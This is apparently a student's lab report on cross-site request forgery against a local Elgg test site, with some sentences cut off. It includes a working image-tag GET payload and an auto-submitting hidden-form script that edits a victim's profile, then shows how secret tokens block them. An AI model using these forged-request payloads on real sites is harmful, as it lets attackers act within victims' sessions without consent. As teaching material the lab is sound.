CSRF-Attack Lab
CSRF-Attack Lab
Name
Course
Instructor
Due Date
2
Using the http header tool in the browser I can view the POST and GET requests.
3
This attack involves the user Boby using a CSRF attack to add himself to Alice’s friend list.
For this to work we can use and index.html file and use the <img> tags within the code to
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<h1>CSRF Attack Page</h1>
<p>Site is Under Maintenance</p>
<img src="http://www.csrflabelgg.com/action/friends/add?friend=43"
alt="image" width="1" height="1" />
</body>
</html>
Once saved we login into Boby’s profile and click on Blogs to create a blog.
4
Include a title for the blog and under the body section include the URL of the
I can log out of the Boby profile and login using Alice’s profile. I can now see the blog post
Once I click the link, Alice is redirected to Boby’s malicious site and I can now see that Boby
From this task, I can infer that the HTML code is the way that initiates a CSRF attack; it does
so by loading an image that makes a GET request in the background to add a friend with the
This task will involve Boby inserting the text “Boby is my Hero” on Alice’s Profile page. For
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<h1>CSRF Attack Page - HTTP POST</h1>
<script type="text/javascript">
function forge_post() {
var fields;
fields = "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='description' value='SAMY
is MY HERO'>";
fields += "<input type='hidden' name='accesslevel[description]'
value='2'>";
6
var p = document.createElement("form");
p.action = "http://www.csrflabelgg.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";
document.body.appendChild(p);
p.submit();
}
window.onload = function() {
forge_post();
};
</script>
</body>
</html>
In this case the GUID for the user Alice is 42. The code will be placed in the directory cd
/var/www/CSRF/Attacker/ as index.html
POST request upon page load. It generates a hidden form that carries all the required input
fields pre-defined (name, description, and guid) and prescribes the exact URL of one
functionality on the vulnerable site in charge of altering user profile information. At the
7
moment the page has loaded, the Javascript function forge_post() generates and submits such
form invisibly (i.e., without user interaction), thereby successfully running the unauthorized
We can use the same blog post created by Boby that used with the previous attack to carry out
this attack. I can now login with the user profile Alice and click on the malicious link.
Once I click the site, the attack is carried out and the message “SAMY IS MY HERO” is
Question 1: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby
targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does
not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information.
To identify Alice’s user ID (guid) without actually logging into the account, Boby could use a
tool such as HTTP Header Live to intercept and analyze network traffic between his browser
and the Elgg site. When he goes to pages which she has interacted with (like her profile page
or posts where she has commented) information regarding what is being sent can be
Question 2: If Boby would like to launch the attack to anybody who visits his malicious web
page. In this case, he does not know who is visiting the web page beforehand. Can he still
launch the CSRF attack to modify the victim’s Elgg profile? Please explain.
Yes, Boby can still CSRF any visitor who loads his malicious page; he does not need to know
the identity of the victim in advance. Since the CSRF attack is meant to run within the active
session of the victim, therefore as long as the victim has an active session on Elgg when the
forged request is done, then that means Boby does not need to find out specific information
9
about the visitor so that he can execute the malicious action; he only needs the visitor to be
This task involves implementing a countermeasure for the Elgg application to mitigate
against CSRF attacks. We can edit the file Action under the directory
/var/www/CSR/Elgg/vendor/elgg/elgg/engine/classes/Elgg
We will comment out the return true; in the function gatekeeper and try to run the attacks on
We will use Alice’s profile to see if the countermeasure is successful against the CSRF attack.
When the countermeasure is enabled by commenting out return true; in the gatekeeper
function, then the application enforces CSRF protection using secret tokens. Those tokens
must be included with every request, meaning that the user has to know and include them for
actions that modify data. When I retried the CSRF attack, it failed because of a missing token.
In the HTTP request, as captured by the HTTP inspection tool of Firefox, the secret tokens
appear as hidden form fields or as query parameters. Because they are unique to each user
session and dynamically generated, the attacker cannot include them in their forged request.
As these tokens are usually kept in JavaScript variables or form fields and are not accessible
to external sites because of the Same-Origin Policy, an attacker cannot access or reproduce